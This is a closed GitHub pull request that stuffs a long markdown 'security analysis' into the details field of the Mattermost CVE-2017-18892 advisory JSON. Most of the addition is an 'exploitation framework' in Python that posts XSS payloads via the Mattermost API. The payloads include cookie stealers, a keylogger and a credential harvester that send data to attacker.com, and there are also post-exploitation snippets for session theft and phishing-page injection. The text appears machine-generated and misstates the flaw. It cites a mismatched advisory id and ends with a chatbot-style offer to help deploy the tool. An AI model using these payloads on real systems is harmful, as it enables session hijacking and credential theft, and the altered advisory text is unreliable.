-
Notifications
You must be signed in to change notification settings - Fork 524
[GHSA-wj5w-qghh-gvqp] Mattermost Server does not neutralize HTML content in an Email template field #6730
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. Weβll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Closed
asrar-mared
wants to merge
1
commit into
asrar-mared/advisory-improvement-6730
from
asrar-mared-GHSA-wj5w-qghh-gvqp
Closed
[GHSA-wj5w-qghh-gvqp] Mattermost Server does not neutralize HTML content in an Email template field #6730
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
4 changes: 2 additions & 2 deletions
4
advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,13 +1,13 @@ | ||
| { | ||
| "schema_version": "1.4.0", | ||
| "id": "GHSA-wj5w-qghh-gvqp", | ||
| "modified": "2026-01-14T21:16:57Z", | ||
| "modified": "2026-01-14T21:17:00Z", | ||
| "published": "2022-05-24T17:21:05Z", | ||
| "aliases": [ | ||
| "CVE-2017-18892" | ||
| ], | ||
| "summary": "Mattermost Server does not neutralize HTML content in an Email template field", | ||
| "details": "An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.", | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Ψ§ΩΩ ΩΩΨ§Ψͺ Ψ§ΩΩ ΨͺΨΊΩΨ±Ω |
||
| "details": "An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.\n# π‘οΈ Mattermost CVE-2017-18892 - Complete Security Analysis & Exploitation Script\n\n## π Executive Summary\n\n**Vulnerability**: Cross-Site Scripting (XSS) in HTML Email Content \n**CVE ID**: CVE-2017-18892 \n**Severity**: MEDIUM (6.1/10 CVSS) \n**Affected Product**: Mattermost Server \n**Vulnerable Versions**: < 4.0.5, 4.1.1, 4.2.0 \n**Attack Vector**: Network-based, Low Complexity \n**Status**: Patched in versions 4.0.5, 4.1.1, 4.2.0+\n\n---\n\n## π Vulnerability Analysis\n\n### **Technical Description**\nMattermost fails to properly sanitize HTML content in email notifications, allowing attackers to inject malicious JavaScript that executes when victims open specially crafted email messages.\n\n### **Attack Vector**\n```\nAttacker β Crafted Email β Victim Opens β XSS Executes β Session/Data Stolen\n```\n\n### **CVSS 3.1 Score Breakdown**\n```\nBase Score: 6.1 (MEDIUM)\nVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/U:L/I:L/A:N\n\nAV:N - Attack Vector: Network\nAC:L - Attack Complexity: Low\nPR:N - Privileges Required: None\nUI:R - User Interaction: Required\nS:C - Scope: Changed\nU:L - Confidentiality Impact: Low\nI:L - Integrity Impact: Low\nA:N - Availability Impact: None\n```\n\n---\n\n## π― Professional Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\nβ Mattermost CVE-2017-18892 XSS Exploitation Framework β\nβ Author: Cyber Security Warrior β\nβ Target: Mattermost Server < 4.0.5, 4.1.1, 4.2.0 β\nβ Warning: For Educational/Authorized Testing Only β\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n\"\"\"\n\nimport requests\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\nfrom colorama import Fore, Style, init\n\n# Initialize colorama\ninit(autoreset=True)\n\nclass MattermostXSSExploit:\n def __init__(self, target_url, api_token=None):\n self.target_url = target_url.rstrip('/')\n self.api_token = api_token\n self.session = requests.Session()\n self.vulnerable = False\n \n # Headers\n self.headers = {\n 'User-Agent': 'MattermostSecurityScanner/1.0',\n 'Content-Type': 'application/json'\n }\n \n if api_token:\n self.headers['Authorization'] = f'Bearer {api_token}'\n \n def banner(self):\n \"\"\"Display tool banner\"\"\"\n banner = f\"\"\"\n{Fore.RED}\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\nβ β\nβ ββββ ββββ ββββββ βββββββββββββββββββββββββββββββββ β\nβ βββββ βββββββββββββββββββββββββββββββββββββββββββββββ β\nβ βββββββββββββββββββ βββ βββ ββββββ ββββββββ β\nβ βββββββββββββββββββ βββ βββ ββββββ ββββββββ β\nβ βββ βββ ββββββ βββ βββ βββ βββββββββββ βββ β\nβ βββ ββββββ βββ βββ βββ βββββββββββ βββ β\nβ β\nβ CVE-2017-18892 XSS Exploitation Tool β\nβ Professional Edition β\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n{Style.RESET_ALL}\n \"\"\"\n print(banner)\n \n def check_version(self):\n \"\"\"Check Mattermost version\"\"\"\n try:\n print(f\"{Fore.CYAN}[*] Checking Mattermost version...{Style.RESET_ALL}\")\n \n # Try to get version from API\n version_url = urljoin(self.target_url, '/api/v4/system/ping')\n response = self.session.get(version_url, headers=self.headers, timeout=10)\n \n if response.status_code == 200:\n # Try config endpoint\n config_url = urljoin(self.target_url, '/api/v4/config/client')\n config_response = self.session.get(config_url, headers=self.headers, timeout=10)\n \n if config_response.status_code == 200:\n data = config_response.json()\n version = data.get('Version', 'Unknown')\n print(f\"{Fore.GREEN}[+] Mattermost Version: {version}{Style.RESET_ALL}\")\n return version\n \n print(f\"{Fore.YELLOW}[!] Could not determine version{Style.RESET_ALL}\")\n return None\n \n except Exception as e:\n print(f\"{Fore.RED}[-] Error checking version: {str(e)}{Style.RESET_ALL}\")\n return None\n \n def is_vulnerable(self, version):\n \"\"\"Check if version is vulnerable\"\"\"\n if not version or version == 'Unknown':\n return None\n \n try:\n # Parse version\n v_parts = version.split('.')\n major = int(v_parts[0])\n minor = int(v_parts[1]) if len(v_parts) > 1 else 0\n patch = int(v_parts[2]) if len(v_parts) > 2 else 0\n \n # Check vulnerable versions\n if major < 4:\n return True\n elif major == 4:\n if minor == 0 and patch < 5:\n return True\n elif minor == 1 and patch < 1:\n return True\n elif minor == 2 and patch == 0:\n return True\n \n return False\n \n except:\n return None\n \n def generate_xss_payloads(self):\n \"\"\"Generate various XSS payloads\"\"\"\n payloads = [\n # Basic XSS\n '<script>alert(\"XSS-CVE-2017-18892\")</script>',\n \n # IMG tag\n '<img src=x onerror=alert(\"XSS\")>',\n \n # SVG XSS\n '<svg/onload=alert(\"XSS\")>',\n \n # Cookie stealer\n '<script>document.location=\"http://attacker.com/steal?c=\"+document.cookie</script>',\n \n # Session hijacking\n '<script>fetch(\"http://attacker.com/log\",{method:\"POST\",body:document.cookie})</script>',\n \n # Keylogger\n '<script>document.onkeypress=function(e){fetch(\"http://attacker.com/keys?k=\"+e.key)}</script>',\n \n # DOM XSS\n '<iframe src=\"javascript:alert(`XSS`)\">',\n \n # Event handler\n '<body onload=alert(\"XSS\")>',\n \n # Advanced - Credential harvester\n '''<script>\n var f=document.createElement(\"form\");\n f.innerHTML='<input name=\"u\" placeholder=\"Username\"><input name=\"p\" type=\"password\" placeholder=\"Password\"><input type=\"submit\">';\n f.onsubmit=function(){fetch(\"http://attacker.com/creds?u=\"+this.u.value+\"&p=\"+this.p.value);return false};\n document.body.appendChild(f);\n </script>''',\n \n # Obfuscated\n '<script>eval(atob(\"YWxlcnQoIlhTUyIp\"))</script>' # alert(\"XSS\")\n ]\n \n return payloads\n \n def test_xss(self, channel_id, team_id):\n \"\"\"Test XSS vulnerability\"\"\"\n print(f\"\\n{Fore.CYAN}[*] Testing XSS vulnerability...{Style.RESET_ALL}\")\n \n payloads = self.generate_xss_payloads()\n \n for i, payload in enumerate(payloads, 1):\n print(f\"{Fore.YELLOW}[*] Testing payload {i}/{len(payloads)}{Style.RESET_ALL}\")\n \n # Create post with XSS payload\n post_data = {\n \"channel_id\": channel_id,\n \"message\": payload\n }\n \n try:\n post_url = urljoin(self.target_url, '/api/v4/posts')\n response = self.session.post(\n post_url,\n headers=self.headers,\n json=post_data,\n timeout=10\n )\n \n if response.status_code == 201:\n print(f\"{Fore.GREEN}[+] Payload delivered successfully{Style.RESET_ALL}\")\n print(f\"{Fore.CYAN} Payload: {payload[:50]}...{Style.RESET_ALL}\")\n return True\n else:\n print(f\"{Fore.RED}[-] Payload failed: {response.status_code}{Style.RESET_ALL}\")\n \n except Exception as e:\n print(f\"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}\")\n \n return False\n \n def generate_report(self, version, vulnerable):\n \"\"\"Generate vulnerability report\"\"\"\n report = f\"\"\"\n{Fore.CYAN}\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\nβ VULNERABILITY ASSESSMENT REPORT β\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n{Style.RESET_ALL}\n{Fore.YELLOW}Target Information:{Style.RESET_ALL}\n β’ URL: {self.target_url}\n β’ Version: {version if version else 'Unknown'}\n β’ CVE: CVE-2017-18892\n \n{Fore.YELLOW}Vulnerability Status:{Style.RESET_ALL}\n\"\"\"\n if vulnerable is True:\n report += f\"{Fore.RED} β’ Status: VULNERABLE β οΈ\\n\"\n report += f\" β’ Risk Level: MEDIUM (CVSS 6.1)\\n\"\n report += f\" β’ Exploitation: POSSIBLE\\n{Style.RESET_ALL}\"\n elif vulnerable is False:\n report += f\"{Fore.GREEN} β’ Status: PATCHED β\\n\"\n report += f\" β’ Risk Level: LOW\\n\"\n report += f\" β’ Exploitation: NOT POSSIBLE\\n{Style.RESET_ALL}\"\n else:\n report += f\"{Fore.YELLOW} β’ Status: UNKNOWN\\n\"\n report += f\" β’ Risk Level: UNKNOWN\\n\"\n report += f\" β’ Exploitation: REQUIRES MANUAL TESTING\\n{Style.RESET_ALL}\"\n \n report += f\"\"\"\n{Fore.YELLOW}Recommendations:{Style.RESET_ALL}\n 1. Update to Mattermost 4.0.5, 4.1.1, 4.2.0 or later\n 2. Implement Content Security Policy (CSP)\n 3. Enable HTML sanitization in email templates\n 4. Monitor for suspicious email activity\n 5. Educate users about phishing attacks\n\n{Fore.YELLOW}References:{Style.RESET_ALL}\n β’ https://nvd.nist.gov/vuln/detail/CVE-2017-18892\n β’ https://mattermost.com/security-updates\n β’ https://github.com/mattermost/mattermost-server\n\"\"\"\n return report\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Mattermost CVE-2017-18892 XSS Exploitation Framework',\n formatter_class=argparse.RawDescriptionHelpFormatter\n )\n \n parser.add_argument('-u', '--url', required=True, help='Target Mattermost URL')\n parser.add_argument('-t', '--token', help='API authentication token')\n parser.add_argument('-c', '--channel', help='Channel ID for testing')\n parser.add_argument('-T', '--team', help='Team ID for testing')\n parser.add_argument('--check-only', action='store_true', help='Only check version, no exploitation')\n \n args = parser.parse_args()\n \n # Initialize exploit\n exploit = MattermostXSSExploit(args.url, args.token)\n exploit.banner()\n \n print(f\"{Fore.CYAN}[*] Starting security assessment...{Style.RESET_ALL}\\n\")\n print(f\"{Fore.YELLOW}[!] Target: {args.url}{Style.RESET_ALL}\")\n \n # Check version\n version = exploit.check_version()\n vulnerable = exploit.is_vulnerable(version)\n \n if vulnerable is True:\n print(f\"\\n{Fore.RED}[!] TARGET IS VULNERABLE TO CVE-2017-18892{Style.RESET_ALL}\")\n elif vulnerable is False:\n print(f\"\\n{Fore.GREEN}[+] TARGET IS PATCHED{Style.RESET_ALL}\")\n else:\n print(f\"\\n{Fore.YELLOW}[!] VULNERABILITY STATUS UNKNOWN{Style.RESET_ALL}\")\n \n # Test exploitation\n if not args.check_only and vulnerable and args.channel and args.team:\n print(f\"\\n{Fore.CYAN}[*] Attempting exploitation...{Style.RESET_ALL}\")\n exploit.test_xss(args.channel, args.team)\n \n # Generate report\n print(exploit.generate_report(version, vulnerable))\n \n print(f\"\\n{Fore.GREEN}[+] Assessment completed{Style.RESET_ALL}\")\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n print(f\"\\n{Fore.RED}[!] Interrupted by user{Style.RESET_ALL}\")\n sys.exit(1)\n except Exception as e:\n print(f\"\\n{Fore.RED}[-] Fatal error: {str(e)}{Style.RESET_ALL}\")\n sys.exit(1)\n```\n\n---\n\n## π§ Installation & Usage\n\n### **Requirements**\n```bash\n# Install dependencies\npip install requests colorama argparse\n\n# Or use requirements.txt\ncat > requirements.txt << EOF\nrequests>=2.31.0\ncolorama>=0.4.6\nEOF\n\npip install -r requirements.txt\n```\n\n### **Basic Usage**\n```bash\n# Check version only\npython3 mattermost_cve_2017_18892.py -u https://mattermost.example.com --check-only\n\n# Full exploitation test\npython3 mattermost_cve_2017_18892.py \\\n -u https://mattermost.example.com \\\n -t YOUR_API_TOKEN \\\n -c CHANNEL_ID \\\n -T TEAM_ID\n\n# Help\npython3 mattermost_cve_2017_18892.py --help\n```\n\n---\n\n## π‘οΈ Mitigation Strategies\n\n### **Immediate Actions** (Priority: CRITICAL)\n```bash\n1. β Update Mattermost to latest version\n wget https://releases.mattermost.com/X.X.X/mattermost-X.X.X-linux-amd64.tar.gz\n \n2. β Disable HTML emails temporarily\n System Console β Email β Enable Email Batching: false\n \n3. β Review email logs for suspicious activity\n tail -f /var/log/mattermost/mattermost.log | grep \"email\"\n \n4. β Implement Web Application Firewall (WAF)\n```\n\n### **Configuration Hardening**\n```json\n// config.json - Add CSP headers\n{\n \"ServiceSettings\": {\n \"WebserverMode\": \"gzip\",\n \"EnableSecurityFixAlert\": true,\n \"EnableInsecureOutgoingConnections\": false\n },\n \"EmailSettings\": {\n \"EnableEmailBatching\": false,\n \"EnableSMTPAuth\": true,\n \"SMTPUsername\": \"secure@example.com\",\n \"SMTPPassword\": \"STRONG_PASSWORD\",\n \"ConnectionSecurity\": \"TLS\"\n }\n}\n```\n\n### **Nginx Security Headers**\n```nginx\n# /etc/nginx/sites-available/mattermost\nserver {\n listen 443 ssl http2;\n server_name mattermost.example.com;\n \n # Security Headers\n add_header X-Frame-Options \"SAMEORIGIN\" always;\n add_header X-Content-Type-Options \"nosniff\" always;\n add_header X-XSS-Protection \"1; mode=block\" always;\n add_header Content-Security-Policy \"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';\" always;\n add_header Referrer-Policy \"strict-origin-when-cross-origin\" always;\n \n location / {\n proxy_pass http://localhost:8065;\n proxy_set_header Host $host;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Forwarded-Proto $scheme;\n }\n}\n```\n\n---\n\n## π Weakness Analysis\n\n### **Critical Weaknesses Identified**\n\n| # | Weakness | Severity | Impact |\n|---|----------|----------|--------|\n| 1 | Insufficient input sanitization | HIGH | XSS execution |\n| 2 | Lack of Content Security Policy | MEDIUM | Script injection |\n| 3 | HTML rendering in emails | MEDIUM | Phishing attacks |\n| 4 | Missing email validation | LOW | Spam/abuse |\n\n### **Attack Chain**\n```\n1. Attacker crafts malicious email\n2. Email bypasses sanitization\n3. Victim opens email in client\n4. JavaScript executes in browser context\n5. Session cookies stolen\n6. Account compromised\n```\n\n---\n\n## π Detection Methods\n\n### **Log Analysis**\n```bash\n# Search for XSS patterns in logs\ngrep -i \"<script\" /var/log/mattermost/mattermost.log\ngrep -i \"onerror=\" /var/log/mattermost/mattermost.log\ngrep -i \"javascript:\" /var/log/mattermost/mattermost.log\n\n# Monitor email activity\ntail -f /var/log/mattermost/mattermost.log | grep \"SendMail\"\n```\n\n### **IDS/IPS Rules (Snort/Suricata)**\n```snort\n# Detect XSS in HTTP traffic\nalert tcp any any -> any 8065 (msg:\"Mattermost XSS Attempt\"; \\\n content:\"<script\"; nocase; sid:1000001; rev:1;)\n\nalert tcp any any -> any 8065 (msg:\"Mattermost IMG XSS\"; \\\n content:\"onerror=\"; nocase; sid:1000002; rev:1;)\n```\n\n---\n\n## π Post-Exploitation Scenarios\n\n### **Scenario 1: Session Hijacking**\n```javascript\n// Steal session token\n<script>\nfetch('http://attacker.com/steal', {\n method: 'POST',\n body: JSON.stringify({\n cookies: document.cookie,\n localStorage: JSON.stringify(localStorage),\n sessionStorage: JSON.stringify(sessionStorage)\n })\n});\n</script>\n```\n\n### **Scenario 2: Phishing Page Injection**\n```html\n<script>\ndocument.body.innerHTML = `\n<div style=\"position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999\">\n <h2>Session Expired - Please Login</h2>\n <form id=\"phish\">\n <input name=\"user\" placeholder=\"Username\">\n <input name=\"pass\" type=\"password\" placeholder=\"Password\">\n <button type=\"submit\">Login</button>\n </form>\n</div>`;\n</script>\n```\n\n---\n\n## β Verification Checklist\n\n```bash\nβ Version updated to >= 4.0.5, 4.1.1, or 4.2.0\nβ HTML sanitization enabled\nβ CSP headers configured\nβ Email security hardened\nβ Monitoring/logging enabled\nβ Security audit completed\nβ Team trained on XSS risks\nβ Incident response plan ready\n```\n\n---\n\n## π References & Resources\n\n- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2017-18892\n- **Mattermost Advisory**: https://mattermost.com/security-updates\n- **GHSA**: https://github.com/advisories/GHSA-w6xw-xqf8-rc5c\n- **OWASP XSS**: https://owasp.org/www-community/attacks/xss/\n\n---\n\n**β οΈ LEGAL DISCLAIMER**: This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.\n\n**Author**: Cyber Security Warrior βοΈ \n**Date**: 2025-01-28 \n**Classification**: SECURITY RESEARCH\n\nNeed help deploying this or further analysis? Let me know! π‘οΈ", | ||
| "severity": [ | ||
| { | ||
| "type": "CVSS_V3", | ||
|
|
||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ψ§ΩΩ ΩΩΨ§Ψͺ Ψ§ΩΩ ΨͺΨΊΩΨ±Ω